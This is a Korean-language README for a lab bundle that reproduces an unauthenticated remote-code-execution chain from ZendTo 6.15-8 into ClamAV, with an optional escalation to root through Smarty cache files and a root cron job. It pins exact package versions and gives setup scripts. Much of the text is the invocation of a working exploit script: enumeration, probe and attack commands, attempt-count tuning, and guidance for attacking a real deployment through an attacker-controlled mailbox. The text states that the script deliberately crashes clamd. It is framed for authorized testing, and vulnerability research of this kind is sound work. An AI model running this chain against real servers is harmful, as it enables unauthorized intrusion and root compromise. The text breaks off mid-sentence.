
승인된 실습 환경에서 ZendTo의 인증되지 않은 ClamAV RCE 및 루트 권한 상승을 재현하며, 고정된 Docker 타깃, fail-closed 검증, nonce 기반 출력 및 정리 기능을 포함합니다.
이 디렉터리는 무계정 ZendTo-to-ClamAV 코드 실행 체인과 별도의 기본 프로파일 Smarty/root-cron 연속 단계를 위한 독립형 인증 랩 재현 번들입니다. 포함 내용:
초기 PoC는 기본 clamav 서비스 계정으로 호출자가 선택한 명령을 실행합니다. 선택적 변종은 이 무계정 발판을 root로 이어받아 호출자가 선택한 명령을 실행합니다. 둘 다 기본값은 id이며, 리터럴 /root/flag 경로를 거부하고, nonce로 바인딩된 출력을 HTTPS로 반환합니다.
취약한 그룹, 디렉터리, Smarty 및 root-cron 관계는 ZendTo Debian 패키지/설치 프로그램 기본값입니다. 그럼에도 root 도달 가능성은 환경에 따라 달라집니다. 이 정밀 양성 픽스처는 ext4 기반 /var/zendto 볼륨, 동작하는 PHP CLI FFI/POSIX/exec, 그리고 제한이 없는(unconfined) clamd 프로세스를 사용합니다. AppArmor/SELinux를 적용하거나 호환되지 않는 파일시스템 의미론을 사용하면 다른 기본 설치에서는 연속 단계가 차단될 수 있습니다.
이 번들은 포함된 일회용 픽스처 또는 테스트 권한을 명시적으로 부여받은 다른 시스템에서만 사용하십시오.
권위 있는 정밀 대상은 다음 경로의 로컬, 의도적으로 버전 관리되지 않는 아티팩트입니다:
image/zendto-installer-systemd-debian12.tar.zst
Git은 Docker 이미지 아카이브를 무시합니다. 정밀 회귀 테스트 전에 해당 경로에 권한이 있는 로컬 사본을 두십시오. scripts/setup.sh는 기록된 SHA-256과 이미지 ID를 요구합니다. source-recipe/README.md는 설치 프로그램에서 파생된 이미지가 어떻게 빌드되고 캡처되었는지 문서화합니다. 라이브 패키지 저장소에서 새로 빌드한 것은 토폴로지 테스트에 유용하지만 고정 대상과 바이트 단위로 동일한 것으로 간주되지 않습니다.
설정 및 컨테이너 엔트리포인트는 다음 프로파일과 일치하지 않으면 거부합니다:
| 구성 요소 | 정확한 테스트 값 |
|---|---|
| Docker 이미지 ID | sha256:de6d2f06ca04943362a9bdec5026e808448953728f31bd926343a4ed2ca2ef7c |
| ZendTo | 6.15-8 |
| ClamAV/libclamav 패키지 | 1.4.3+dfsg-1~deb12u2 |
| libclamav | libclamav.so.12.0.3, SHA-256 55e3cd94…027c |
| libclamav Build ID | e6427ab62146ee3001fe463d12e797e9d25bf81a |
| glibc | 2.36-9+deb12u14, SHA-256 6b4a4535…421 |
| main 데이터베이스 | v63, SHA-256 0b2182d2…365 |
| daily 데이터베이스 | v28082, SHA-256 cddbcccf…906 |
| bytecode 데이터베이스 | v339, SHA-256 6d4aa01f…ffb |
| clamd | MaxThreads 12, IdleTimeout 30, Restart=no |
| 수명 주기 | clamav-daemon.socket 활성화, systemd PID 1 |
| 웹 런타임 | Apache 2.4.68, PHP 8.2.32 |
| MAC 상태 | 제한 없는(unconfined) 특권 Docker 픽스처 |
| root 브리지 | www-data의 기본 clamav; /var/zendto root:www-data 0775 |
| root 소비자 | 기본 root 정리 cron, 매시간 25분 |
| Smarty 캐시 | 결정적(Deterministic) Smarty 4.5.4 컴파일 zendto.conf |
| 교환 파일시스템 | ext4 기반 명명된 /var/zendto 볼륨 |
전체 값은 PROFILE.json에 있습니다.
이는 ClamAV 패키지 버전만 고정하는 것보다 더 강력합니다. 할당자 구성은 glibc, CVD 기반 파서 트래픽, 워커 설정 및 정확한 대상 라이브러리에도 의존합니다. 캡처된 이미지에서는 FreshClam이 비활성화되어 있으며, daily.cvd가 변경되었거나 daily.cld가 나타나면 시작이 실패합니다.
상위 작업공간에서 현재 장기간 실행 중인 연구 컨테이너는 깨끗한 픽스처가 아닙니다. 이후 테스트에서 외부 발신자 양식을 비활성화하고 daily 데이터베이스를 업데이트했기 때문입니다. 이러한 변경 사항은 여기에 의도적으로 제외되었습니다. 이 번들은 네이티브 실행이 입증된 깨끗한 기준선을 사용합니다.
/sys/fs/cgroupzstd, venv가 있는 Python 3, C 컴파일러, file, GNU readelf대상은 호스트 커널과 ASLR 구현을 공유합니다. 따라서 커널 의존적 매핑 동작은 이식성 변수로 남습니다.
한 번에 하나의 systemd 픽스처만 호스트 cgroup 네임스페이스를 공유해야 합니다. 원래 연구 머신에서는 이전 픽스처를 삭제하지 말고 중지하십시오:
docker stop zendto-installer-systemd-native
나중에 docker start zendto-installer-systemd-native로 복원할 수 있습니다.
이 디렉터리에서:
./scripts/verify-bundle.sh
./scripts/setup.sh
설정 스크립트는:
.venv를 생성합니다;/var/zendto 볼륨을 만들고 systemd를 시작합니다; 그리고clamav로 수행되는 일회용 renameat2(RENAME_EXCHANGE) 작업을 포함하여 기본 root 변종 전제 조건을 입증합니다.기본 엔드포인트는 루프백 전용입니다:
http://127.0.0.1:18084/
https://127.0.0.1:18447/
인증서는 자체 서명입니다. PoC는 모든 HTTP 요청에 의도적으로 verify=False를 사용합니다. 설정 전에 다른 루프백 포트를 선택할 수 있습니다:
export ZENDTO_HTTP_PORT=19084
export ZENDTO_HTTPS_PORT=19447
./scripts/setup.sh
이후 Compose/헬퍼 명령에도 동일한 환경 변수를 사용하십시오.
언제든지 대상을 확인하십시오:
./scripts/verify-target.sh
docker compose ps
깨끗한 설치 프로그램 기준선은 다음과 같습니다:
allowExternalUploads = TRUE
confirmExternalEmails = TRUE
captcha = google
CAPTCHA 및 메일 값은 설치 프로그램 자리 표시자이므로, 변경되지 않은 아카이브는 실제로 공개 확인 이메일을 전달할 수 없습니다. 네이티브 회귀 테스트는 동등한 외부 발신자 AuthData 행으로 해당 완료된 애플리케이션 단계만 표현했습니다. 대상 코드, 패키지, 스캐너, 권한 및 익스플로잇 경로는 패치되지 않았습니다.
다음 명령으로 해당 랩 행 하나와 mode-0600 토큰 파일을 생성하십시오:
./scripts/mint-lab-auth.py [email protected]
토큰 값은 출력되지 않으며 다음 위치에 저장됩니다:
.lab/upload-auth-token.txt
이 로컬 헬퍼는 외부 업로드가 비활성화된 배포를 원격으로 악용할 수 있다는 주장이 아닙니다. 공개 외부 발신자 양식이 비활성화되면 토큰 파일이 제공되어도 PoC는 ClamAV 이전에 올바르게 중지됩니다.
일반적으로 구성된 인증된 배포에서는 --external-auth-token-file을 생략하십시오. 확인 페이지를 수동으로 열고, CAPTCHA를 풀고, 공격자가 제어하는 사서함에서 대상이 생성한 메시지를 받은 다음, 숨겨진 프롬프트에 해당 URL/토큰을 붙여넣으십시오.
이 모드는 CAPTCHA, 이메일, 기능, 업로드, 로그인 POST 또는 스캐너 콘텐츠를 전송하지 않습니다. --skip-clamd-tcp-probe는 선택적 읽기 전용 네이티브 TCP/3310 검사도 생략합니다:
mkdir -p -m 700 work
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--enumerate-only \
--skip-clamd-tcp-probe \
--fingerprint-json work/fingerprint.json
열거는 여전히 일반적인 웹 액세스 로그를 생성하고 정상적인 애플리케이션 캐시를 초기화할 수 있습니다. Debian/Ubuntu Apache 레이아웃 결과는 네이티브 패키지, Build ID, libc, CVD, 소켓 정책 또는 MAC 상태를 증명하지 않습니다. 로컬 Docker 검증 스크립트가 이 픽스처에 대한 해당 증거를 제공합니다.
이 모드는 랩 베어러 및 수신자 정책을 검증하지만 파일이나 스캐너 콘텐츠는 제출하지 않습니다:
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--probe-only \
--no-open-browser
[email protected].는 이 설치 프로그램 픽스처 생성 시 입력된 의도적으로 특이한 test. 내부 도메인 값과 일치합니다. 실제 맞춤 배포에서는 실제로 인증된 수신자가 필요할 수 있습니다.
경고: 이것은 무해한 스캐너 점검이 아닙니다. 첫 시도 전에 원격 모드는 EICAR를 보내고, PESpin 판별자로 의도적으로 clamd를 크래시시키고, 소켓 트리거 복구를 입증한 다음, 추가 크래시/복구 주기로 터미널 코드페이지 프로브 두 개를 실행합니다. 거부된 매핑은 의도적으로 clamd를 종료합니다.
새 작업 디렉터리와 무해한 명령을 사용하십시오:
run_dir="work/run-$(date +%Y%m%d-%H%M%S)"
mkdir -m 700 "$run_dir"
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--oracle-conditioned-attempts 72 \
--command 'id; uname -a' \
--workdir "$run_dir" \
--keep-workdir
선호되는 조건부 경로는 변조 캐리어 하나를 제출하기 전에 유용한 니블-8 매핑을 테스트합니다. 현재의 3-레이아웃 집계는 이후 수명 주기 수정입니다. 과거의 단일 레이아웃 오라클 및 동일 프로세스 RCE 단계는 docs/에 별도로 문서화되어 있습니다.
블라인드 고정 니블-6 폴백도 명시적으로 사용할 수 있습니다:
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--restart-resample-attempts 72 \
--command 'id; uname -a' \
--workdir work/blind-run \
--keep-workdir
독립 균일 니블 모델에서 47개의 새 매핑은 약 95%, 72개는 약 99%입니다. 이는 기하 분포 매핑 확률이지 엔드투엔드 신뢰성 보장이 아닙니다. 거부된 매핑마다 스캔 시간을 제외하고 최소 12초 복구 지연과 강제된 40초 워커 퇴직 기간이 소요됩니다. 72회 시도 실행은 1시간을 초과할 수 있습니다.
결과는 콜백이나 웹셸에서 읽히지 않습니다. DSO는 별도의 30분 출력 전용 AuthData 베어러를 생성하고, clamav로 /bin/sh -c를 실행하며, 익명 ZendTo 페이지를 통해 제한된 stdout/stderr를 반환합니다. 성공하려면 다음이 모두 일관된 단일 프레임 결과가 필요합니다:
zendto_unauth_clamav_rce_result=1누락, 중복, 잘림 또는 불일치 증거는 실패한 실행입니다.
./scripts/verify-target.sh가 [target] 및 [privesc-target] 모두 성공을 보고한 후에만 실행하십시오. 래퍼는 먼저 동일한 무계정 ClamAV 단계를 수행하고 정확한 제한된 arming 증거를 요구한 다음, 변경되지 않은 기본 root cron 소비자를 기다립니다: